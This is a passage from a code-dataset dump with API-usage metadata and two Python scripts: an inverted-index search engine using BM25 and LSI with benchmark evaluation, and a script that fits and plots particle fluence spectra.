"usage_type": "attribute"}, {"api_name": "tensorflow.contrib.slim.conv2d", "line_number": 81, "usage_type": "call"}, {"api_name": "tensorflow.contrib.slim", "line_number": 81, "usage_type": "name"}, {"api_name": "tensorflow.nn", "line_number": 81, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.slim.conv2d", "line_number": 84, "usage_type": "call"}, {"api_name": "tensorflow.contrib.slim", "line_number": 84, "usage_type": "name"}, {"api_name": "tensorflow.nn", "line_number": 84, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.slim.fully_connected", "line_number": 87, "usage_type": "call"}, {"api_name": "tensorflow.contrib.slim", "line_number": 87, "usage_type": "name"}, {"api_name": "tensorflow.contrib.slim.flatten", "line_number": 87, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 87, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.rnn_cell.BasicLSTMCell", "line_number": 89, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 89, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 91, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 91, "usage_type": "attribute"}, {"api_name": "tensorflow.constant", "line_number": 92, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 92, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 96, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 97, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 97, "usage_type": "attribute"}, {"api_name": "tensorflow.expand_dims", "line_number": 99, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 100, "usage_type": "call"}, {"api_name": "tensorflow.nn.rnn_cell.LSTMStateTuple", "line_number": 101, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 101, "usage_type": "attribute"}, {"api_name": "tensorflow.nn.dynamic_rnn", "line_number": 102, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 102, "usage_type": "attribute"}, {"api_name": "tensorflow.squeeze", "line_number": 106, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 109, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 109, "usage_type": "attribute"}, {"api_name": "tensorflow.tensordot", "line_number": 113, "usage_type": "call"}, {"api_name": "tensorflow.get_variable", "line_number": 114, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 114, "usage_type": "attribute"}, {"api_name": "tensorflow.tensordot", "line_number": 116, "usage_type": "call"}, {"api_name": "tensorflow.nn.softmax", "line_number": 117, "usage_type": "call"}, {"api_name": "tensorflow.nn", "line_number": 117, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 122, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 122, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 123, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 123, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 124, "usage_type": "call"}, {"api_name": "tensorflow.int32", "line_number": 124, "usage_type": "attribute"}, {"api_name": "tensorflow.placeholder", "line_number": 125, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 125, "usage_type": "attribute"}, {"api_name": "tensorflow.one_hot", "line_number": 127, "usage_type": "call"}, {"api_name": "tensorflow.multiply", "line_number": 128, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 129, "usage_type": "call"}, {"api_name": "tensorflow.clip_by_value", "line_number": 131, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.square", "line_number": 132, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.log", "line_number": 133, "usage_type": "call"}, {"api_name": "tensorflow.reduce_sum", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow.log", "line_number": 134, "usage_type": "call"}, {"api_name": "tensorflow.get_collection", "line_number": 137, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 137, "usage_type": "attribute"}, {"api_name": "tensorflow.gradients", "line_number": 138, "usage_type": "call"}, {"api_name": "tensorflow.global_norm", "line_number": 142, "usage_type": "call"}, {"api_name": "tensorflow.clip_by_global_norm", "line_number": 143, "usage_type": "call"}, {"api_name": "tensorflow.get_collection", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 144, "usage_type": "attribute"}, {"api_name": "tensorflow.initialize_all_variables", "line_number": 148, "usage_type": "call"}, {"api_name": "tensorflow.shape", "line_number": 149, "usage_type": "call"}, {"api_name": "tensorflow.summary.FileWriter", "line_number": 161, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 161, "usage_type": "attribute"}, {"api_name": "tensorflow.get_collection", "line_number": 168, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 168, "usage_type": "attribute"}, {"api_name": "tensorflow.get_collection", "line_number": 169, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 169, "usage_type": "attribute"}, {"api_name": "tensorflow.assign", "line_number": 173, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.cumproduct", "line_number": 180, "usage_type": "call"}, {"api_name": "numpy.power", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 186, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 194, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 253, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 253, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 254, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 291, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 298, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 299, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 299, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 300, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 300, "usage_type": "name"}, {"api_name": "tensorflow.reset_default_graph", "line_number": 306, "usage_type": "call"}, {"api_name": "tensorflow.train.import_meta_graph", "line_number": 307, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 307, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 308, "usage_type": "call"}, {"api_name": "tensorflow.get_default_graph", "line_number": 310, "usage_type": "call"}, {"api_name": "gym.make", "line_number": 313, "usage_type": "call"}, {"api_name": "tensorflow.python.tools.inspect_checkpoint.print_tensors_in_checkpoint_file", "line_number": 315, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 321, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 321, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 322, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 322, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 333, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 333, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 334, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 339, "usage_type": "call"}, {"api_name": "tensorflow.reset_default_graph", "line_number": 346, "usage_type": "call"}, {"api_name": "tensorflow.device", "line_number": 347, "usage_type": "call"}, {"api_name": "tensorflow.train.RMSPropOptimizer", "line_number": 349, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 349, "usage_type": "attribute"}, {"api_name": "multiprocessing.cpu_count", "line_number": 350, "usage_type": "call"}, {"api_name": "tensorflow.train.RMSPropOptimizer", "line_number": 360, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 360, "usage_type": "attribute"}, {"api_name": "tensorflow.train.Saver", "line_number": 365, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 365, "usage_type": "attribute"}, {"api_name": "tensorflow.get_collection", "line_number": 365, "usage_type": "call"}, {"api_name": "tensorflow.GraphKeys", "line_number": 365, "usage_type": "attribute"}, {"api_name": "tensorflow.Session", "line_number": 366, "usage_type": "call"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 368, "usage_type": "call"}, {"api_name": "tensorflow.train.Coordinator", "line_number": 369, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 369, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 373, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 375, "usage_type": "call"}]} {"seq_id": "21315341534", "text": "import re\nimport sys\nfrom math import log\nfrom time import time\nimport numpy as np\nimport scipy.sparse\nimport scipy.sparse.linalg\n\nfrom collections import OrderedDict\n\n\nGREEN_CLR = '\\033[32m'\nYELLOW_CLR = '\\033[33m'\nPURPLE_CLR = '\\033[35m'\nEND_CLR = '\\033[0m'\n\n# BM25 parameters\nbm25k = 0.75\nbm25b = 0.0\nlmbda = 0.6\n\n\nclass EvaluateBenchmark:\n \"\"\" Class for evaluating a given benchmark. \"\"\"\n\n def __init__(self, inv_lists):\n \"\"\"\n Creates an empty dictionary of queries and their relevant movies ids,\n a list of pair with a movies id and its relevance according to the\n benchmark file and total sums for P@3, P@R and AP.\n \"\"\"\n\n self.benchmark_ids = dict()\n self.res_relevance = list()\n self.ii = inv_lists\n self.sum_pa3 = 0\n self.sum_par = 0\n self.sum_ap = 0\n\n def precision_at_k(self, results_ids, relevant_ids, k):\n \"\"\"\n Computes the P@k for the given result list and the given set of\n relevant docs.\n\n (Note: with our approach results_ids and relevant_ids are not needed as\n they were used before to generate the results_relevance list.)\n \"\"\"\n return len([x for x in self.res_relevance[:k] if x[1] == 1]) / k\n\n def average_precision(self, results_ids, relevant_ids):\n \"\"\"\n Computes the AP (average precision) of the given result list and the\n given set of relevant docs.\n \"\"\"\n sum_p = 0\n\n r_list = [results_ids.index(x[0]) + 1\n for x in self.res_relevance if x[1] == 1]\n\n # Taking into the consideration the note below on the Slide 22\n # (Lecture 2): \"for docs not in the result list take P@Ri = 0\"\n r_list_length = len(r_list)\n r_list_length += len(relevant_ids) - r_list_length\n\n for r in r_list:\n sum_p += self.precision_at_k(None, None, r)\n\n return sum_p / r_list_length\n\n def evaluate_benchmark(self, file_name):\n \"\"\" Evaluates the given benchmark. \"\"\"\n\n with open(file_name, 'r', encoding='utf-8') as file:\n for line in file:\n splitted_line = line.replace('\\n', '').split('\\t')\n self.benchmark_ids[splitted_line[0]] = \\\n [int(x) for x in splitted_line[1].split(' ')]\n\n print('Benchmark evaluation...')\n st = time()\n\n for query, relevant_ids in self.benchmark_ids.items():\n # BM25 (VSM)\n res_ids = [x[0] for x in self.ii.process_query_vsm(query)]\n\n # LSI\n # res_ids = [x[0]\n # for x in self.ii.process_query_lsi(query,\\\n # lmbda, True)]\n\n # BM25 + LSI\n # res_ids = [x[0] for x in self.ii.process_query_lsi(query, lmbda)]\n\n self.res_relevance = [[res_id, 1 if res_id in relevant_ids else 0]\n for res_id in res_ids]\n\n self.sum_pa3 += self.precision_at_k(None, None, 3)\n self.sum_par += self.precision_at_k(None, None, len(relevant_ids))\n self.sum_ap += self.average_precision(res_ids, relevant_ids)\n\n num = len(self.benchmark_ids)\n print('\\nMP@3: %s, MP@R: %s, MAP: %s' %\n (round(self.sum_pa3 / num, 2),\n round(self.sum_par / num, 2),\n round(self.sum_ap / num, 2)))\n print('K = %s, B = %s' % (bm25k, bm25b))\n print('\\nEvaluation time: %s s' % (round(time() - st, 2)))\n\n\nclass InvertedIndex:\n \"\"\" A simple inverted index as explained on the lecture. \"\"\"\n\n def __init__(self):\n \"\"\" Creates an empty inverted index and additional dicts. \"\"\"\n\n self.inverted_lists = dict()\n self.inv_lists_sorted = dict()\n self.records = dict()\n self.record_lengths = dict()\n\n self.terms = []\n self.num_terms = 0\n self.num_docs = 0\n\n self.A = None\n self.Uk = None\n self.Sk = None\n self.Vk = None\n\n def read_from_file(self, file_name):\n \"\"\"\n Constructs the inverted index from the given file. The format is: one\n record per line.\n\n >>> ii = InvertedIndex()\n >>> ii.read_from_file('example.txt')\n >>> ii.num_terms, ii.num_docs\n (4, 6)\n >>> ii.terms\n ['internet', 'web', 'surfing', 'beach']\n >>> sorted(ii.inverted_lists.items())\n [('beach', {4: 1, 5: 1, 6: 1}), ('internet', {1: 1, 2: 1, 4: 1}), \\\n('surfing', {1: 1, 2: 1, 3: 1, 4: 2, 5: 1}), ('web', {1: 1, 3: 1, 4: 1})]\n\n \"\"\"\n\n with open(file_name, 'r', encoding='utf-8') as file:\n doc_id = 0\n for line in file:\n doc_id += 1\n words = re.split(\"\\W+\", line)\n self.records[doc_id] = line.replace('\\n', '')\n self.record_lengths[doc_id] = len(words)\n for term in words:\n term = term.lower()\n if any(term):\n # If a word is seen for the first time, create an empty\n # inverted list for it\n if term not in self.inverted_lists:\n self.terms.append(term)\n self.inverted_lists[term] = dict()\n\n if doc_id in self.inverted_lists[term].keys():\n self.inverted_lists[term][doc_id] += 1\n else:\n self.inverted_lists[term][doc_id] = 1\n self.num_docs = doc_id\n self.num_terms = len(self.inverted_lists)\n\n def bm25_score(self, tf, df, N, AVDL, DL):\n return tf * (bm25k + 1) / (bm25k * (1 - bm25b + bm25b * DL / AVDL) +\n tf) * log((N / df), 2)\n\n def preprocessing_vsm(self, k, m):\n \"\"\"\n Computes the sparse term-document matrix using the (already built)\n inverted index. For LSI it also performs SVD using dimensionality k and\n only the most frequent terms m. Intermediate results are stored as\n members of this class.\n \"\"\"\n self.inv_lists_sorted = OrderedDict(sorted(self.inverted_lists.items(),\n key=lambda x: len(x[1]),\n reverse=True)[:m])\n N = self.num_docs\n AVDL = sum(self.record_lengths.values()) / float(N)\n\n term_id = 0\n nz_vals, row_inds, col_inds = [], [], []\n\n for term, inv_list in self.inv_lists_sorted.items():\n for doc_id, tf in inv_list.items():\n df = len(self.inv_lists_sorted[term])\n DL = self.record_lengths[doc_id]\n self.inv_lists_sorted[term][doc_id] = \\\n self.bm25_score(tf, df, N, AVDL, DL)\n nz_vals += [v for v in self.inv_lists_sorted[term].values()\n if v != 0]\n row_inds += [term_id] * len(self.inv_lists_sorted[term])\n col_inds += [id - 1 for id, v in\n self.inv_lists_sorted[term].items() if v != 0]\n term_id += 1\n self.A = scipy.sparse.csr_matrix((nz_vals, (row_inds, col_inds)),\n dtype=float)\n # LSI\n self.Uk, Sk, self.Vk = scipy.sparse.linalg.svds(self.A, k)\n self.Sk = np.diag(Sk)\n\n def process_query_vsm(self, query):\n \"\"\"\n Executes the query using the (full) term-document matrix in the vsm.\n \"\"\"\n keywords = [word.lower() for word in re.split(\"\\W+\", query)]\n q = scipy.sparse.csr_matrix([1 if term in keywords else 0\n for term in self.inv_lists_sorted.keys()])\n\n scores = q.dot(self.A)\n return sorted(list(zip(scores.indices + 1, scores.data)),\n key=lambda x: x[1], reverse=True)\n\n def process_query_lsi(self, query, lmbda, only_lsi=False):\n \"\"\"\n Executes the query by mapping the query vector to latent space.\n \"\"\"\n keywords = [word.lower() for word in re.split(\"\\W+\", query)]\n q = np.array([1 if term in keywords else 0\n for term in self.inv_lists_sorted.keys()])\n qk = q.dot(self.Uk).dot(self.Sk)\n\n scores = qk.dot(self.Vk) if only_lsi \\\n else lmbda * np.transpose(q) * self.A + (1 - lmbda) * \\\n np.transpose(qk).dot(self.Vk)\n\n return sorted(list(zip([i + 1 for i in range(0, scores.size)],\n scores)),\n key=lambda x: x[1], reverse=True)\n\n def related_term_pairs(self):\n \"\"\"\n Computes the term-term association matrix T.\n \"\"\"\n\n T = self.Uk.dot(np.transpose(self.Uk))\n term_dict = {idx: term\n for idx, term in enumerate(self.inv_lists_sorted.keys())}\n\n added = set()\n np.fill_diagonal(T, 0)\n max_values = sorted([((i, t.argmax()), t[t.argmax()])\n for i, t in enumerate(T)],\n key=lambda x: x[1], reverse=True)\n max_values = [item for item in max_values\n if item[1] not in added and not added.add(item[1])]\n\n # for pair in max_values[:50]:\n # print('{0:15} {1:15} {2:2f}'.format(term_dict[pair[0][0]],\n # term_dict[pair[0][1]], pair[1]))\n\n with open('term_pairs.txt', 'w') as f:\n for pair in max_values[:50]:\n f.write('%s\\t%s\\t%f\\n' % (term_dict[pair[0][0]],\n term_dict[pair[0][1]], pair[1]))\n\n def print_output(self, hits, query):\n for hit in hits:\n record = self.records[hit[0]].split('\\t')\n title = record[0]\n\n print(GREEN_CLR + title + END_CLR)\n\n keywords = [word.lower() for word in re.split(\"\\W+\", query)]\n description = record[0] if len(record) == 1 \\\n else record[1]\n\n # Keywords highlighting\n words = description.split(' ')\n for word in words:\n truncated_word = re.sub(r'[^\\w]', '', word)\n if truncated_word.lower() in keywords:\n wrapped_word = YELLOW_CLR + truncated_word + END_CLR\n words[words.index(word)] = \\\n word.replace(truncated_word, wrapped_word)\n print(' '.join(words), '\\n')\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 4 or \\\n (len(sys.argv) == 5 and sys.argv[4] == '--benchmark') or \\\n (len(sys.argv) == 6 and sys.argv[4] != '--benchmark'):\n msg = 'Usage: \\n\\tpython3 inverted_index.py ' + \\\n '\\n\\tpython3 inverted_index.py --benchmark ' + \\\n ''\n print(msg)\n sys.exit()\n\n ii = InvertedIndex()\n file_name = sys.argv[1]\n k = int(sys.argv[2])\n m = int(sys.argv[3])\n print('Loading movies file...')\n ii.read_from_file(file_name)\n print('Preprocessing...\\n')\n ii.preprocessing_vsm(k, m)\n\n # ii.related_term_pairs()\n\n if len(sys.argv) > 5 and sys.argv[4] == '--benchmark':\n eb = EvaluateBenchmark(ii)\n eb.evaluate_benchmark(sys.argv[5])\n else:\n while True:\n msg = PURPLE_CLR + \\\n '> Enter the query (type \"exit\" for quitting): ' + END_CLR\n query = input(msg)\n if query == 'exit':\n break\n\n print('')\n\n hits = ii.process_query_vsm(query)\n # hits = ii.process_query_lsi(query, lmbda)\n # hits = ii.process_query_lsi(query, lmbda, only_lsi=True)\n if any(hits):\n ii.print_output(hits[:3], query)\n else:\n print('No hits')\n", "repo_name": "numairmansur/InformationRetrival", "sub_path": "lecture-08/inverted_index.py", "file_name": "inverted_index.py", "file_ext": "py", "file_size_in_byte": 11808, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.time", "line_number": 80, "usage_type": "call"}, {"api_name": "time.time", "line_number": 107, "usage_type": "call"}, {"api_name": "re.split", "line_number": 151, "usage_type": "call"}, {"api_name": "math.log", "line_number": 172, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 181, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse.csr_matrix", "line_number": 202, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 202, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 202, "usage_type": "name"}, {"api_name": "scipy.sparse.sparse.linalg.svds", "line_number": 205, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 205, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 205, "usage_type": "name"}, {"api_name": "numpy.diag", "line_number": 206, "usage_type": "call"}, {"api_name": "re.split", "line_number": 212, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse.csr_matrix", "line_number": 213, "usage_type": "call"}, {"api_name": "scipy.sparse.sparse", "line_number": 213, "usage_type": "attribute"}, {"api_name": "scipy.sparse", "line_number": 213, "usage_type": "name"}, {"api_name": "re.split", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 231, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 242, "usage_type": "call"}, {"api_name": "numpy.fill_diagonal", "line_number": 247, "usage_type": "call"}, {"api_name": "re.split", "line_number": 270, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 277, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 285, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 286, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 287, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 292, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 295, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 296, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 297, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 305, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 307, "usage_type": "attribute"}]} {"seq_id": "15065293248", "text": "import argparse\nfrom pathlib import Path\nimport csv\nfrom typing import Dict, Union\n\nimport matplotlib.pyplot as plt\nimport matplotlib.lines as mlines\nfrom matplotlib.legend import Legend\nimport numpy as np\n\nfrom eprem import tools, seed\n\n\ndef main(\n spectrum: Union[Path, dict],\n plotpath: Path=None,\n textpath: Path=None,\n free: list=None,\n fixed: dict=None,\n lower: dict=None,\n initial: dict=None,\n upper: dict=None,\n):\n \"\"\"Compute and save a fit to the given fluence spectrum.\"\"\"\n paths = setup_paths(\n plot=(plotpath, '.png'),\n text=(textpath, '.txt'),\n )\n fit = compute_fit(\n spectrum,\n free=free,\n fixed=fixed,\n lower=lower,\n initial=initial,\n upper=upper,\n )\n print(f\"Saving {paths['plot']} ...\")\n create_plot(paths['plot'], fit)\n print(f\"Saving {paths['text']} ...\")\n create_text(paths['text'], fit)\n\n\ndef setup_paths(**paths) -> Dict[str, Path]:\n \"\"\"Ensure full, read-only paths that exist.\"\"\"\n return {name: _split(pair) for name, pair in paths.items()}\n\n\ndef _split(pair) -> Path:\n \"\"\"Helper function for ``setup_path()``.\"\"\"\n value, suffix = pair if len(pair) == 2 else (pair[0], None)\n try:\n path = Path(value)\n except TypeError:\n path = Path(__file__)\n if suffix is not None:\n path = path.with_suffix(suffix).expanduser().resolve()\n return path\n\n\ndef compute_fit(\n spectrum: Union[Union[str, Path], dict],\n **context\n) -> seed.Fitter:\n \"\"\"Compute the fit and store relevant data in a `Fitter` object.\"\"\"\n if isinstance(spectrum, (str, Path)):\n data = load_from_file(spectrum)\n elif isinstance(spectrum, dict):\n data = load_from_dict(spectrum)\n else:\n TypeError(spectrum)\n return seed.Fitter(\n energies=data['energies'],\n fluxdata=data['fluences'],\n sigma=data.get('uncertns'),\n **context\n )\n\n\ndef load_from_file(filepath: Union[str, Path]):\n \"\"\"Load the spectrum from the given file.\"\"\"\n data = np.loadtxt(filepath, skiprows=6)\n energies = data[:, 0]\n fluences = data[:, 1]\n uncertns = data[:, 2] if data.shape[1] == 3 else None\n return {\n 'energies': energies,\n 'fluences': fluences,\n 'uncertns': uncertns,\n }\n\n\ndef load_from_dict(user: Dict[str, Union[np.ndarray, float]]):\n \"\"\"Load the spectrum from the given dict.\"\"\"\n energies = user['E']\n parameters = {\n name: user.get(name, value)\n for name, value in seed.default_values.items()\n }\n fluences = seed.J(energies, **parameters)\n return {\n 'energies': energies,\n 'fluences': fluences,\n }\n\n\ndef create_plot(path: Path, fit: seed.Fitter):\n \"\"\"Plot the fluence spectrum and fit.\"\"\"\n plt.plot(fit.energies, fit.fluxdata, label=\"data\")\n plt.plot(fit.energies, fit.spectrum, label=\"fit\")\n plt.xlim([1e-1, 1e2])\n plt.ylim([1e0, 1e7])\n plt.xscale('log')\n plt.yscale('log')\n plt.xlabel('Energy [MeV]')\n plt.ylabel('Fluence [Counts / (cm² sr MeV)]')\n original_legend = plt.legend(loc='upper right')\n plt.gca().add_artist(parameter_legend(fit))\n plt.gca().add_artist(original_legend)\n plt.savefig(path)\n\n\ndef parameter_legend(fit: seed.Fitter) -> Legend:\n \"\"\"Build a legend that displays spectrum parameters (fit or not).\"\"\"\n labels = fit.get_parameter_labels()\n handles = [\n mlines.Line2D(\n [], [],\n label=rf\"{this['string']} = {this['value']}\"\n ) for this in labels.values()\n ]\n return plt.legend(\n handles=handles,\n handlelength=0.0,\n loc='lower left',\n )\n\n\ndef create_text(path: Path, fit: seed.Fitter):\n \"\"\"Write fit results to a text file.\"\"\"\n with path.open('w', newline='') as fp:\n writer = csv.writer(fp, delimiter=',')\n writer.writerows(csv_header(fit))\n writer.writerow(['Energy (MeV)', 'Data', 'Fit'])\n for row in zip(fit.energies, fit.fluxdata, fit.spectrum.squeeze()):\n writer.writerow(row)\n\n\ndef csv_header(fit: seed.Fitter, comment: str=\"#\") -> list:\n \"\"\"Build an appropriate header for the text output.\"\"\"\n\n def line(name: str, parameter: dict) -> list:\n \"\"\"Build an individual header line.\"\"\"\n return [\n f\"{comment} {name} = {parameter['value']} = {parameter['status']}\"\n ]\n\n parameters = fit.get_parameter_labels()\n start = [f\"{comment} Parameters:\"]\n info = [line(*item) for item in parameters.items()]\n end = [f\"{comment} \"]\n return [start, *info, end]\n\n\nif __name__ == \"__main__\":\n p = argparse.ArgumentParser(\n description=main.__doc__,\n formatter_class=argparse.RawTextHelpFormatter,\n epilog=(\n \"DEPRECATION WARNING\"\n \": Future updates may remove this script. Please use \"\n \"fit_flux_spectrum.py, which is capable of handling a wider \"\n \"variety of inputs.\"\n )\n )\n p.add_argument(\n 'spectrum',\n help=(\n \"path to the file containing a spectrum to fit\"\n \";\\nmay be relative and contain wildcards\"\n \"\\n\\nnote that the Python interface also accepts a dict that\"\n \"\\nprovides an energy array and parameter values, which may be\"\n \"\\nuseful for testing or debugging\"\n )\n )\n p.add_argument(\n '--plotpath',\n help=\"path to which to save a plot of the fit\"\n )\n p.add_argument(\n '--textpath',\n help=\"path to which to write fit results\"\n )\n p.add_argument(\n '--free',\n help=\"names of free parameters\",\n nargs='*',\n choices=tuple(seed.default_values.keys()),\n metavar=(\"p0\", \"p1\"),\n )\n p.add_argument(\n '--fixed',\n help=\"key-value pairs of parameters to hold fixed\",\n nargs='*',\n value_type=float,\n action=tools.StoreKeyValuePair,\n metavar=(\"p0=value0\", \"p1=value1\"),\n )\n p.add_argument(\n '--initial',\n help=\"key-value pairs of initial guesses\",\n nargs='*',\n value_type=float,\n action=tools.StoreKeyValuePair,\n metavar=(\"p0=guess0\", \"p1=guess1\"),\n )\n p.add_argument(\n '--lower',\n help=\"key-value pairs of lower bounds\",\n nargs='*',\n value_type=float,\n action=tools.StoreKeyValuePair,\n metavar=(\"p0=lower0\", \"p1=lower1\"),\n )\n p.add_argument(\n '--upper',\n help=\"key-value pairs of upper bounds\",\n nargs='*',\n value_type=float,\n action=tools.StoreKeyValuePair,\n metavar=(\"p0=upper0\", \"p1=upper1\"),\n )\n args = p.parse_args()\n main(**vars(args))\n\n", "repo_name": "myoung-space-science/research-projects", "sub_path": "fit_seed_spectrum.py", "file_name": "fit_seed_spectrum.py", "file_ext": "py", "file_size_in_byte": 6677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Union", "line_number": 15, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 15, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 16, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 17, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 43, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 43, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 52, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 54, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 61, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 61, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 65, "usage_type": "name"}, {"api_name": "eprem.seed.Fitter", "line_number": 71, "usage_type": "call"}, {"api_name": "eprem.seed", "line_number": 71, "usage_type": "name"}, {"api_name": "eprem.seed.Fitter", "line_number": 63, "usage_type": "attribute"}, {"api_name": "eprem.seed", "line_number": 63, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 79, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 79, "usage_type": "name"}, {"api_name": "numpy.loadtxt", "line_number": 81, "usage_type": "call"}, {"api_name": "typing.Dict", "line_number": 92, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 92, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 92, "usage_type": "attribute"}, {"api_name": "eprem.seed.default_values.items", "line_number": 97, "usage_type": "call"}, {"api_name": "eprem.seed.default_values", "line_number": 97, "usage_type": "attribute"}, {"api_name": "eprem.seed", "line_number": 97, "usage_type": "name"}, {"api_name": "eprem.seed.J", "line_number": 99, "usage_type": "call"}, {"api_name": "eprem.seed", "line_number": 99, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 106, "usage_type": "name"}, {"api_name": "eprem.seed.Fitter", "line_number": 106, "usage_type": "attribute"}, {"api_name": "eprem.seed", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": 